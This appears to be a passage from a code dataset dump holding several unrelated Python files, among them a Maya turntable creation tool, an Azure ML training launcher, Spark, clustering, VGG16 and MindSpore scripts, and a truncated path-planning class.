create_default_generator_config():\n config = GeneratorConfiguration()\n config.fields[\"generator\"] = (\"basegen\", \"BaseGenerator\")\n # directories\n config.fields[\"generator_dir\"] = config.fields[\"generator\"][0]\n config.fields[\"resource_dir\"] = join(config.fields[\"generator_dir\"], \"resources\")\n config.fields[\"output_dir\"] = join(config.fields[\"generator_dir\"], \"output\")\n # files\n config.fields[\"generated_data_log_file\"] = join(config.fields[\"generator_dir\"], \"generated_data_log_file.csv\")\n config.fields[\"used_distributions_file\"] = join(config.fields[\"generator_dir\"], \"distributions.csv\")\n # generation\n config.fields[\"batch_size\"] = 100\n # writer\n config.fields[\"data_writer\"] = (\"filewriter.jsonrecordwriter\", \"JSONRecordWriter\")\n config.fields[\"data_record_type\"] = (\"basedatarecord\", \"BaseDataRecord\")\n # log\n config.fields[\"generated_data_log_file_enabled\"] = True\n return config\n\n\ndef create_default_object_detection_config():\n config = ObjectDetectionConfiguration()\n config.fields[\"generator\"] = (\"objdetgen\", \"ObjectDetectionGenerator\")\n # directories\n config.fields[\"generator_dir\"] = config.fields[\"generator\"][0]\n config.fields[\"resource_dir\"] = join(config.fields[\"generator_dir\"], \"resources\")\n config.fields[\"output_dir\"] = join(config.fields[\"generator_dir\"], \"output\")\n config.fields[\"resource_classes_dir\"] = join(config.fields[\"resource_dir\"], \"classes\")\n config.fields[\"resource_backgrounds_dir\"] = join(config.fields[\"resource_dir\"], \"backgrounds\")\n config.fields[\"output_plain_image_dir\"] = join(config.fields[\"output_dir\"], \"plain_images\")\n # files\n config.fields[\"generated_data_log_file\"] = join(config.fields[\"generator_dir\"], \"generated_data_log_file.csv\")\n config.fields[\"used_distributions_file\"] = join(config.fields[\"generator_dir\"], \"distributions.csv\")\n config.fields[\"class_weights_file\"] = join(config.fields[\"resource_classes_dir\"], \"class_weights.csv\")\n config.fields[\"backgrounds_weights_file\"] = join(config.fields[\"resource_backgrounds_dir\"], \"class_weights.csv\")\n # generation\n config.fields[\"batch_size\"] = 100\n config.fields[\"save_generated_plain_images\"] = True\n config.fields[\"final_scale_factor\"] = 1\n config.fields[\"class_distribution_method\"] = Distribution.Method.UNIFORM\n config.fields[\"background_distribution_method\"] = Distribution.Method.UNIFORM\n config.fields[\"position_distribution_method\"] = Distribution.Method.UNIFORM\n config.fields[\"number_of_pastes_per_background_min\"] = 0\n config.fields[\"number_of_pastes_per_background_max\"] = 15\n config.fields[\"distance_between_pastes\"] = (0, 0)\n config.fields[\"number_of_pastes_per_background_distribution_method\"] = Distribution.Method.UNIFORM\n # writer\n config.fields[\"data_writer\"] = (\"filewriter.jsonrecordwriter\", \"JSONRecordWriter\")\n config.fields[\"data_record_type\"] = (\"objectdetectionrecord\", \"ObjectDetectionDataRecord\")\n # log\n config.fields[\"generated_data_log_file_enabled\"] = True\n return config\n","repo_name":"engelmi/pyoddgen","sub_path":"pyoddgen/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13015442919","text":"from pyspark import SparkConf, SparkContext\nfrom collections import Counter\n\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"MinTemperatures\")\nsc = SparkContext(conf=conf)\n\n\ndef parseLine(line):\n fields = line.split(',')\n temperature = float(fields[3])\n return temperature\n\n\nlines = sc.textFile(\"/input/temp.csv\")\nparsedLines = lines.map(parseLine)\nstationTemps = parsedLines.map(lambda x: (x, 1))\ntempNum = stationTemps.reduceByKey(lambda a, b: a+b)\ntempNum.saveAsTextFile('/input/output')\n ","repo_name":"tobusiek/WPBD","sub_path":"10lab/zad3min-temperatures.py","file_name":"zad3min-temperatures.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21150801781","text":"import matplotlib as mpl\n\nmpl.use(\"Agg\")\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport scipy.cluster.hierarchy as sch\nimport random\n\n#Hierarchical Clustering\ndef hierarchicalClustering(Xtest, Xtrain, Ytest, Ytrain, dataSet):\n\n # Formatting the dataSets for analysis\n XTrain = Xtrain[:,:].transpose()[1:,:].tolist()[0]\n XTest = Xtest[:,:].transpose()[1:,:].tolist()[0]\n YTrain = Ytrain[:,:].transpose()[1:,:].tolist()[0]\n YTest = Ytest[:,:].transpose()[1:,:].tolist()[0]\n\n mpl.rcParams['figure.figsize'] = [16, 8]\n\n X_combined = np.r_[XTrain, XTest]\n Y_combined = np.r_[YTrain, YTest]\n\n # Manually casting to int \n X_combined = np.array(X_combined, dtype='int')\n Y_combined = np.array(Y_combined, dtype='int')\n\n #Using a Dendrogram to find the optimal number of clusters\n dendrogram = sch.dendrogram(sch.linkage(X_combined.reshape(-1,1), method='ward'))\n # The ward method aims to minimize the variance among the clusters\n \n plt.title(f'Hierarchical Clustering for {dataSet}')\n plt.xlabel('Number of Clusters')\n plt.ylabel('Euclidean Distances')\n\n\n filename = f'{random.randint(100,999)}'\n plt.savefig(f'../QuickML/webapp/static/{filename}.jpg')\n\n\n x = f'../QuickML/webapp/static/{filename}.jpg'\n\n # clears the mat plot lib cache so other figures can be \n # created and saved \n plt.clf()\n\n return x ","repo_name":"Vladi756/QuickML","sub_path":"sourceCode/clustering/Hierarchical_Clustering.py","file_name":"Hierarchical_Clustering.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25563216783","text":"import time\r\nimport os\r\n\r\nfrom src.model_utils.config import config\r\nfrom src.model_utils.moxing_adapter import moxing_wrapper\r\nfrom src.model_utils.device_adapter import get_device_id, get_device_num\r\nfrom src.culane_dataset import data_to_mindrecord_byte_image, create_culane_dataset\r\nfrom mindspore import context, Tensor, Parameter\r\nfrom mindspore.communication.management import init, get_rank, get_group_size\r\nfrom mindspore.context import ParallelMode\r\nfrom mindspore.common import set_seed\r\n\r\nset_seed(1)\r\n\r\ndef create_mindrecord_dir(prefix, mindrecord_dir):\r\n if not os.path.isdir(mindrecord_dir):\r\n os.makedirs(mindrecord_dir)\r\n if config.dataset == \"culane\":\r\n if os.path.isdir(config.culane_root):\r\n print(\"Create Mindrecord.\")\r\n data_to_mindrecord_byte_image(\"culane\", True, prefix)\r\n print(\"Create Mindrecord Done, at {}\".format(mindrecord_dir))\r\n else:\r\n raise Exception(\"culane_root not exits.\")\r\n else:\r\n if os.path.isdir(config.IMAGE_DIR) and os.path.exists(config.ANNO_PATH):\r\n print(\"Create Mindrecord.\")\r\n data_to_mindrecord_byte_image(\"other\", True, prefix)\r\n print(\"Create Mindrecord Done, at {}\".format(mindrecord_dir))\r\n else:\r\n raise Exception(\"IMAGE_DIR or ANNO_PATH not exits.\")\r\n # while not os.path.exists(mindrecord_file+\".db\"):\r\n # time.sleep(5)\r\n\r\n# @moxing_wrapper(pre_process=modelarts_pre_process)\r\ndef train_maskrcnn():\r\n device_target = config.device_target\r\n context.set_context(mode=context.GRAPH_MODE, device_target=device_target, device_id=get_device_id())\r\n\r\n config.mindrecord_dir = os.path.join(config.culane_root, config.mindrecord_dir)\r\n print('\\ntrain.py config:\\n', config)\r\n print(\"Start train for relaychain!\")\r\n\r\n dataset_sink_mode_flag = True\r\n if not config.do_eval and config.run_distribute:\r\n init()\r\n rank = get_rank()\r\n dataset_sink_mode_flag = device_target == 'Ascend'\r\n device_num = get_group_size()\r\n context.set_auto_parallel_context(device_num=device_num, parallel_mode=ParallelMode.DATA_PARALLEL,\r\n gradients_mean=True)\r\n else:\r\n rank = 0\r\n device_num = 1\r\n\r\n print(\"Start create dataset!\")\r\n\r\n # It will generate mindrecord file in config.mindrecord_dir,\r\n # and the file name is MaskRcnn.mindrecord0, 1, ... file_num.\r\n prefix = \"culane.mindrecord\"\r\n mindrecord_dir = config.mindrecord_dir\r\n mindrecord_file = os.path.join(mindrecord_dir, prefix)\r\n if rank == 0 and not os.path.exists(mindrecord_file):\r\n create_mindrecord_dir(prefix, mindrecord_dir)\r\n # create_mindrecord_dir(prefix, mindrecord_dir)\r\n\r\n if not config.only_create_dataset:\r\n # loss_scale = float(config.loss_scale)\r\n # When create MindDataset, using the fitst mindrecord file, such as MaskRcnn.mindrecord0.\r\n dataset = create_culane_dataset(mindrecord_file, batch_size=config.batch_size,\r\n device_num=device_num, rank_id=rank)\r\n print('dataset_finish')\r\n dataset_size = dataset.get_dataset_size()\r\n print(\"total images num: \", dataset_size)\r\n print(\"Create dataset done!\")\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n train_maskrcnn()","repo_name":"lpplbiubiubiub/RCLane","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"7726870508","text":"from keras.applications.vgg16 import VGG16, preprocess_input, decode_predictions\nfrom keras.utils.image_utils import img_to_array, load_img\n\nmodel = VGG16()\n\nimage = load_img(\n \"../data/balloon.jpg\",\n target_size=(224, 224),\n)\n\nimage = img_to_array(image)\n\nimage = image.reshape((1, image.shape[0], image.shape[1], image.shape[2]))\nimage = preprocess_input(image)\n\npred = model.predict(image)\n\nlabel = decode_predictions(pred)\nprint(label)\n\nprint(\"---\")\nlabel = label[0][0]\nprint(\"%s (%.2f%%)\" % (label[1], label[2] * 100))\n","repo_name":"Maje419/Drones","sub_path":"app/vgg.py","file_name":"vgg.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29134345182","text":"\"\"\"Turntable setup and creation tool.\n\nA tool for creating turntables, with UI for the turntable's setup and for re-adjusting those settings. Can be launched from the shelf.\n\"\"\"\n\nimport functools\n\nfrom maya import cmds\nfrom maya import mel\nfrom maya import OpenMayaUI as omui \n\nfrom PySide2.QtCore import * \nfrom PySide2.QtGui import * \nfrom PySide2.QtWidgets import *\nfrom shiboken2 import wrapInstance\n\n# Get the mainWindow widget\nmayaMainWindowPtr = omui.MQtUtil.mainWindow()\nmayaMainWindow = wrapInstance(int(mayaMainWindowPtr), QWidget)\n\n\nclass CreateTurntable(QWidget):\n \"\"\"Creates a tool for making turntables.\n\n Creates a window for a turntable creation tool. Sliders and spin \n boxes control turntable settings. Push buttons create and readjust \n turntables.\n\n Attributes:\n self.turntable_field (str): A field to link to the full path \n name of the turntable sphere's control.\n self.camera_field (str): A field to link to the full path name \n of the turntable camera's control.\n self.group_field (str): A field to link to the full path name \n of the camera's group control.\n self.camera_distance (int): Used for storing the setting \n controlling the camera's horizontal distance from the \n turntable.\n self.camera_height (int): Used for storing the setting \n controlling the camera's vertical position.\n self.angle_interval (double): Used for storing the setting \n controlling how many degrees the camera rotates around the \n turntable per frame.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initializes CreateTurntable.\n \n Args:\n *args: Variable length argument list.\n **kwargs: Arbitrary keyword arguments.\n \"\"\"\n super(CreateTurntable, self).__init__(*args, **kwargs)\n # Connects and sets up the tool's window.\n self.setParent(mayaMainWindow)\n self.setWindowFlags(Qt.Window)\n self.setObjectName(\"CreateTurntable#\")\n self.setWindowTitle(\"Create Turntable\")\n\n # Variables for keeping the paths to the newest turntable \n # objects.\n self.turntable_field = None\n self.camera_field = None\n self.group_field = None\n # Turntable's setting variables. Set the initial UI values. \n # Values updated with the \"update_setting_values()\" method.\n self.camera_distance = 5\n self.camera_height = 2\n self.angle_interval = 0.750000000000000\n \n self.initialize_UI()\n\n\n def initialize_UI(self):\n \"\"\"Initializes UI widgets, layout and connects signals to slots.\"\"\"\n # The \"View\" layout group for the section of UI that \n # encompasses the camera's position in relation to the \n # turntable.\n self.view_group_box = QGroupBox()\n self.view_group_box.setTitle(\"View\")\n self.view_vertical_layout = QVBoxLayout(self.view_group_box)\n\n # UI section that controls \"Camera Distance\" to the turntable.\n self.distance_horizontal_layout = QHBoxLayout()\n # Keeps settings aligned.\n self.camera_distance_horizontal_spacer = QSpacerItem(\n 34, 20, QSizePolicy.Minimum, QSizePolicy.Minimum)\n self.distance_horizontal_layout.addItem(self.camera_distance_horizontal_spacer)\n # The QLabel widget for camera distance settings.\n self.camera_distance_label = QLabel(self.view_group_box)\n self.camera_distance_label.setText(\" Camera Distance\")\n self.camera_distance_label.setToolTip(\n \"The horizontal distance between the render camera and the turntable's center\")\n # QSpinBox widget for setting camera distance. \n # Connected to \"self.camera_distance_slider\" widget.\n self.camera_distance_spin_box = QSpinBox(self.view_group_box)\n self.camera_distance_spin_box.setMinimumSize(QSize(70, 0))\n self.camera_distance_spin_box.setKeyboardTracking(False)\n self.camera_distance_spin_box.setMaximum(2147483647)\n self.camera_distance_spin_box.setValue(self.camera_distance)\n # The QSlider widget for setting camera distance. \n # Connected to \"self.camera_distance_spin_box\" widget.\n self.camera_distance_slider = QSlider(self.view_group_box)\n self.camera_distance_slider.setMaximum(60)\n self.camera_distance_slider.setValue(self.camera_distance)\n self.camera_distance_slider.setOrientation(Qt.Horizontal)\n # Groups all \"Camera Distance\" widgets and adds them to the \n # \"View\" layout group.\n self.distance_horizontal_layout.addWidget(self.camera_distance_label)\n self.distance_horizontal_layout.addWidget(self.camera_distance_spin_box)\n self.distance_horizontal_layout.addWidget(self.camera_distance_slider)\n self.view_vertical_layout.addLayout(self.distance_horizontal_layout)\n\n # UI section that controls \"Camera Height\" along the Y-axis.\n self.height_horizontal_layout = QHBoxLayout()\n # Keeps settings aligned.\n self.camera_height_horizontal_spacer = QSpacerItem(\n 46, 20, QSizePolicy.Minimum, QSizePolicy.Minimum)\n self.height_horizontal_layout.addItem(self.camera_height_horizontal_spacer)\n # The QLabel widget for camera height settings.\n self.camera_height_label = QLabel(self.view_group_box)\n self.camera_height_label.setText(\" Camera Height\")\n self.camera_height_label.setToolTip(\n \"The Y coordinates for the turntable's render camera\")\n # QSpinBox widget for setting camera height. \n # Connected to \"self.camera_height_slider\" widget.\n self.camera_height_spin_box = QSpinBox(self.view_group_box)\n self.camera_height_spin_box.setMinimumSize(QSize(70, 0))\n self.camera_height_spin_box.setKeyboardTracking(False)\n self.camera_height_spin_box.setMinimum(-2147483647)\n self.camera_height_spin_box.setMaximum(2147483647)\n self.camera_height_spin_box.setValue(self.camera_height)\n # The QSlider widget for setting camera height. \n # Connected to \"self.camera_height_spin_box\" widget.\n self.camera_height_slider = QSlider(self.view_group_box)\n self.camera_height_slider.setMinimum(-20)\n self.camera_height_slider.setMaximum(40)\n self.camera_height_slider.setValue(self.camera_height)\n self.camera_height_slider.setOrientation(Qt.Horizontal)\n # Groups all \"Camera Height\" widgets and adds them to the \n # \"View\" layout group.\n self.height_horizontal_layout.addWidget(self.camera_height_label)\n self.height_horizontal_layout.addWidget(self.camera_height_spin_box)\n self.height_horizontal_layout.addWidget(self.camera_height_slider)\n self.view_vertical_layout.addLayout(self.height_horizontal_layout)\n\n # The \"Rotation\" layout group for the section of UI that \n # encompasses the camera's rotation around the turntable.\n self.rotation_group_box = QGroupBox()\n self.rotation_group_box.setTitle(\"Rotation\")\n self.rotation_horizontal_layout = QHBoxLayout(self.rotation_group_box)\n # The QLabel widget for rotation angle interval settings.\n self.turntable_rotation_label = QLabel(self.rotation_group_box)\n self.turntable_rotation_label.setText(\" Turntable Angle Interval\")\n self.turntable_rotation_label.setToolTip(\n \"How many degrees the render camera rotates around the turntable per frame\")\n # QDoubleSpinBox widget for setting angle intervals per frame.\n self.turntable_rotation_double_spin_box = QDoubleSpinBox(self.rotation_group_box)\n self.turntable_rotation_double_spin_box.setMinimumSize(QSize(70, 0))\n self.turntable_rotation_double_spin_box.setSuffix(u\"\\u00b0\")\n self.turntable_rotation_double_spin_box.setMinimum(-90.000000000000000)\n self.turntable_rotation_double_spin_box.setMaximum(90.000000000000000)\n self.turntable_rotation_double_spin_box.setSingleStep(0.250000000000000)\n self.turntable_rotation_double_spin_box.setValue(self.angle_interval)\n # Groups all \"Rotation\" widgets and adds them to the \n # \"Rotation\" layout group.\n self.rotation_horizontal_layout.addWidget(self.turntable_rotation_label)\n self.rotation_horizontal_layout.addWidget(self.turntable_rotation_double_spin_box)\n # Keeps settings aligned.\n self.turntable_rotation_horizontal_spacer = QSpacerItem(\n 40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n self.rotation_horizontal_layout.addItem(self.turntable_rotation_horizontal_spacer)\n \n # Keeps settings aligned.\n self.input_button_vertical_spacer = QSpacerItem(\n 0, 0, QSizePolicy.Minimum, QSizePolicy.Expanding)\n\n # The \"Button\" layout group for the section of UI that \n # controls creating, and apply setting changes to, turntables.\n self.buttons_horizontal_layout = QHBoxLayout()\n # Keeps settings aligned.\n self.buttons_horizontal_spacer = QSpacerItem(\n 40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum)\n self.buttons_horizontal_layout.addItem(self.buttons_horizontal_spacer)\n # The QPushButton widget for creating new turntables.\n self.create_push_button = QPushButton(self)\n self.create_push_button.setText(\"Create\")\n # The QPushButton widget for apply any setting changes to the \n # most recently created turntable.\n self.apply_push_button = QPushButton(self)\n self.apply_push_button.setText(\"Apply\")\n self.apply_push_button.setEnabled(False)\n # The QPushButton widget for closing the tool window.\n self.close_push_button = QPushButton(self)\n self.close_push_button.setText(\"Close\")\n # Groups all \"Button\" widgets and adds them to the \n # \"Button\" layout group.\n self.buttons_horizontal_layout.addWidget(self.create_push_button)\n self.buttons_horizontal_layout.addWidget(self.apply_push_button)\n self.buttons_horizontal_layout.addWidget(self.close_push_button)\n\n # The tool's \"Master\" layout, to which all other layouts and \n # widgets get added to.\n layout = QVBoxLayout()\n layout.addWidget(self.view_group_box)\n layout.addWidget(self.rotation_group_box)\n layout.addItem(self.input_button_vertical_spacer)\n layout.addLayout(self.buttons_horizontal_layout)\n self.setLayout(layout)\n\n # Use \"functools.partial()\" to dynamically construct a function\n # with additional parameters. Allows the QSlider's range to \n # increase with the value it shares with the QSpinBox it is \n # connected to.\n on_change_distance_spin_box_func = functools.partial(\n self.on_value_changed, spin_box=self.camera_distance_spin_box, \n slider=self.camera_distance_slider)\n self.camera_distance_spin_box.valueChanged.connect(on_change_distance_spin_box_func)\n \n on_change_height_spin_box_func = functools.partial(\n self.on_value_changed, spin_box=self.camera_height_spin_box, \n slider=self.camera_height_slider)\n self.camera_height_spin_box.valueChanged.connect(on_change_height_spin_box_func)\n\n # Connects the settting's QSpinBoxs with their associated \n # QSlider and vice versa, linking each pairs value.\n self.camera_distance_spin_box.valueChanged.connect(self.camera_distance_slider.setValue)\n self.camera_distance_slider.valueChanged.connect(self.camera_distance_spin_box.setValue)\n self.camera_height_spin_box.valueChanged.connect(self.camera_height_slider.setValue)\n self.camera_height_slider.valueChanged.connect(self.camera_height_spin_box.setValue)\n\n # Exits the tool when the \"Close\" button is pressed.\n self.close_push_button.pressed.connect(self.close)\n # Creates a new turntable using the tools current settings. \n # Also enables the \"Apply\" button.\n self.create_push_button.clicked.connect(self.create_button_on_clicked)\n # Applies the tools current settings to the most recently \n # created turntable.\n self.apply_push_button.clicked.connect(self.apply_button_on_clicked)\n # ____\n QMetaObject.connectSlotsByName(self)\n \n def on_value_changed(self, spinner_value, spin_box:QSpinBox, slider:QSlider):\n \"\"\"Increases the range of a slider's current range limit.\n\n Adjusts the maximum range of a slider when the linked value of \n the spin box connected to it nears or surpasses the slider's \n maximum range. Lowers the minimum range of sliders with \n negative minimum ranges when the linked value of the spin box \n connected to it nears or surpasses the slider's minimum range.\n \n Args:\n spinner_value (int): The value passed from the connected \n spin box.\n spin_box (:QSpinBox): The triggering spin box widget.\n slider (QSlider): The slider connected to the spin_box.\n \"\"\"\n # Adjust how near to the range's limit the value needs to \n # reach, or surpass, to cause the range to increase.\n buffer = 0.98\n increment = 1.07 # Adjusts how much the range increase by.\n\n # Checks to see wether the changed value is close to QSlider's \n # range maximum.\n if spinner_value >= (slider.maximum()*buffer):\n max_spin = spinner_value * increment # New max range.\n # Limits max range if it exceeds what the QSpinBox allows.\n if max_spin >= spin_box.maximum():\n max_spin = spin_box.maximum()\n # Sets the QSlider's new maximum range and updates the UI.\n slider.setRange(slider.minimum(), max_spin)\n slider.update()\n\n # Checks to see wether the QSlider can be negative and if the \n # changed value is close to QSlider's range minimum.\n if spin_box.minimum() < 0 and spinner_value <= (slider.minimum()*buffer):\n negative_spin = spinner_value * increment # New min range.\n # Limits min range if it exceeds what the QSpinBox allows.\n if negative_spin <= spin_box.minimum():\n negative_spin = spin_box.minimum()\n # Sets the QSlider's new minimum range and updates the UI.\n slider.setRange(negative_spin, slider.maximum())\n slider.update()\n\n def update_setting_values(self):\n \"\"\"Updates the setting's variables.\"\"\"\n self.camera_distance = self.camera_distance_spin_box.value()\n self.camera_height = self.camera_height_spin_box.value()\n self.angle_interval = self.turntable_rotation_double_spin_box.value()\n\n def create_button_on_clicked(self):\n \"\"\"Creates the turntable and camera.\"\"\"\n # Makes sure the setting variables are up to date.\n self.update_setting_values()\n # Creates a sphere to be the turntable center and sets it's \n # field to always link to that sphere.\n turntable_transform = cmds.polySphere(n=\"pTurntableSphere#\")[0]\n self.turntable_field = cmds.nameField(object=turntable_transform)\n # Get's the name of the turntable sphere from its field.\n turntable_name = cmds.nameField(self.turntable_field, query=True, object=True)\n\n # Creates a camera positioned using the settings and sets it's \n # field to always link to that camera.\n camera_transform = cmds.camera(n=\"turntableCamera#\", \n p=[0, self.camera_height, \n self.camera_distance])[0]\n self.camera_field = cmds.nameField(object=camera_transform)\n # Get's the name of the camera from its field.\n camera_name = cmds.nameField(self.camera_field, query=True, object=True)\n\n # Creates an empty group and sets it's field to always link to \n # that group.\n rotator_group = cmds.group(em=True, n=\"rotationGroup#\")\n self.group_field = cmds.nameField(object=rotator_group)\n # Get's the name of the group from its field.\n rotator_name = cmds.nameField(self.group_field, query=True, object=True)\n\n # Group's the camera, sphere and group together.\n cmds.parent(camera_name, rotator_name, relative=True)\n cmds.parent(rotator_name, turntable_name, relative=True)\n # Get's the name of the group from its field again, because it \n # changes from parenting.\n rotator_name = cmds.nameField(self.group_field, query=True, object=True)\n\n # Passes the group to be animated.\n self.set_rotation(rotator_name)\n # Enables the \"Apply\" button and updates the UI.\n self.apply_push_button.setEnabled(True)\n self.apply_push_button.update()\n\n def apply_button_on_clicked(self):\n \"\"\"Applies setting changes to the newest turntable.\"\"\"\n # Makes sure the setting variables are up to date.\n self.update_setting_values()\n # Get's the names of the newest group and camera from their \n # fields.\n rotator_name = cmds.nameField(self.group_field, query=True, object=True)\n camera_name = cmds.nameField(self.camera_field, query=True, object=True)\n if cmds.objExists(camera_name) and cmds.objExists(rotator_name):\n # Applies any changes to the settings to the most recently \n # created turntable if the camera and group exist.\n cmds.setAttr(\"%s.translateY\"%camera_name, self.camera_height)\n cmds.setAttr(\"%s.translateZ\"%camera_name, self.camera_distance)\n self.set_rotation(rotator_name)\n else:\n # Creates a new turntable if the camera or group don't exist.\n self.create_button_on_clicked()\n\n def set_rotation(self, rotator):\n \"\"\"Sets the camera's rotation animation.\n \n Args:\n rotator (str): The name group of the group that the \n turntable's camera is a child of.\n \"\"\"\n start_time = cmds.playbackOptions(query=True, minTime=True)\n # The number of frames required for the camera to rotate a \n # full 360 degrees.\n end_time = ((360-self.angle_interval)/self.angle_interval) + (start_time-1)\n # Set the length of the animation to be exactly one rotation.\n cmds.playbackOptions(maxTime=end_time)\n if cmds.playbackOptions(query=True, animationEndTime=True) < end_time:\n cmds.playbackOptions(animationEndTime=end_time)\n # Sets the keys for the rotation animation.\n cmds.cutKey(rotator, time=(start_time, end_time), attribute=\"rotateY\")\n cmds.setKeyframe(rotator, time=start_time, attribute=\"rotateY\", value=0)\n cmds.setKeyframe(rotator, time=end_time, attribute=\"rotateY\", \n value=(end_time * self.angle_interval))\n # Makes the animation's rotation speed constant.\n cmds.selectKey(rotator, time=(start_time, end_time), attribute=\"rotateY\", keyframe=True)\n cmds.keyTangent(inTangentType=\"linear\", outTangentType=\"linear\")\n \ndef main():\n ui = CreateTurntable()\n ui.show()\n return ui\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"Zorgrath/maya-turntable","sub_path":"scripts/create_turntable.py","file_name":"create_turntable.py","file_ext":"py","file_size_in_byte":19361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39426371197","text":"from azureml.core import Workspace, Experiment, Environment, ScriptRunConfig\nfrom azureml.core.compute import ComputeTarget, AmlCompute\nfrom azureml.core.compute_target import ComputeTargetException\n\n# získání workspace z config.json\nws = Workspace.from_config()\n\n# název experimentu\nexperiment = Experiment(workspace=ws, name='cifar10-conv-test1')\n\n# název compute targetu\ncompute_target_name = 'gpu-cluster1'\n\ntry:\n aml_compute = ComputeTarget(workspace=ws, name=compute_target_name)\n print('Nalezen již existující compute target: ', aml_compute.name)\n\nexcept ComputeTargetException: # compute target s tímto jménem neexistuje\n print('Vytvářím nový compute target')\n\n # konfigurace compute target\n aml_config = AmlCompute.provisioning_configuration(\n vm_size=\"Standard_NC6\", # CREATE INFOR ABOUT DIFF TYPES\n vm_priority=\"dedicated\", # TRY WITH LOW PRIORITY, previosly this did not work for some reason\n min_nodes = 0, \n max_nodes = 4,\n idle_seconds_before_scaledown=300 \n )\n\n aml_compute = ComputeTarget.create(\n ws, \n name=compute_target_name, \n provisioning_configuration=aml_config\n )\n\n # spuštěný kód čeká na dokončení vytvoření compute target\n aml_compute.wait_for_completion(show_output=True)\n\n\ncurated_env_name = 'AzureML-tensorflow-2.4-ubuntu18.04-py37-cuda11-gpu' # název currated prostředí\ntf_env = Environment.get(workspace=ws, name=curated_env_name)\n\ndatastore = ws.get_default_datastore() # získání defaultního datastoru\ndata_ref = datastore.path('datasets').as_mount() # získání reference na úložiště\n\n# argumenty pro training-script.py\nargs = [\n '--batch-size' , 64,\n '--learning-rate', 0.01,\n '--epochs', 1,\n '--data-path', str(data_ref),\n '--run-num', 3\n]\n\n# konfigurace trénování\nconfig = ScriptRunConfig(\n source_directory='./src',\n script='training-script.py',\n compute_target=aml_compute,\n environment=tf_env,\n arguments=args\n)\n\n# přidání reference do konfigurace\nconfig.run_config.data_references = {data_ref.data_reference_name : data_ref.to_config()}\n\nrun = experiment.submit(config) # začátek trénování na cloudu\naml_url = run.get_portal_url() # url pro sledování pokroku\n\nprint(\"Submitted to compute cluster. Click link below\\n\")\nprint(aml_url)","repo_name":"wenceslai/azure-navod-trenink-vlastnich-ml-modelu","sub_path":"control-script.py","file_name":"control-script.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"cs","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"935693821","text":"import matplotlib.pyplot as mplot\nimport matplotlib.animation as animation\nfrom matplotlib import style\nfrom datetime import datetime\n#import numpy as np\n\n\nMAX_X = 300\nMAX_Y = 200\n\nSTART_POINT = [] # [x, y]\nGOAL_POINT = [] # [x, y]\n\nSTEPS_LIST = []\nSTEP_OBJECT_LIST = []\n\n\n#style.use('fivethirtyeight')\n\n#fig = mplot.figure()\n#ax1 = fig.add_subplot(1,1,1)\n\nclass step:\n\t#Method to initialize the node with the values/attributes and add the step\n\t#self: Object of class step\n\t#parent: Object of class step\n\t#position: the x,y values of the current step\n\t#cost: cost of the step to move from the parent to the current position \n\tdef __init__(self, parent, position, cost):\n\t\tself.position = position # [x, y]\n\t\tself.parent = parent\n\t\tself.children = []\n\t\tif parent == None:\n\t\t\tself.costToCome = 0.0\n\t\telse:\n\t\t\tself.costToCome = parent.costToCome + cost;\n\t\tself.addToGraph()\n\n\n\tdef addToGraph(self):\n\t\tif self.position in STEPS_LIST:\n\t\t\t#print(\"----------\")\n\t\t\tindex = STEPS_LIST.index(self.position)\n\t\t\tif self.costToCome < STEP_OBJECT_LIST[index].costToCome:\n\t\t\t\t#print(\"----------\",STEP_OBJECT_LIST[index].children)\n\t\t\t\tSTEP_OBJECT_LIST[index] = self\n\t\telse:\n\t\t\tSTEPS_LIST.append(self.position)\n\t\t\tSTEP_OBJECT_LIST.append(self)\n\n\tdef moveUp(self):\n\t\tif(self.position[1] > 0):\n\t\t\tnewPosition = [self.position[0], self.position[1]-1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn \n\n\tdef moveUpRight(self):\n\t\tif(self.position[1] > 0 and self.position[0] < MAX_X):\n\t\t\tnewPosition = [self.position[0]+1, self.position[1]-1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn \n\n\tdef moveRight(self):\n\t\tif(self.position[0] < MAX_X):\n\t\t\tnewPosition = [self.position[0]+1, self.position[1]]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = 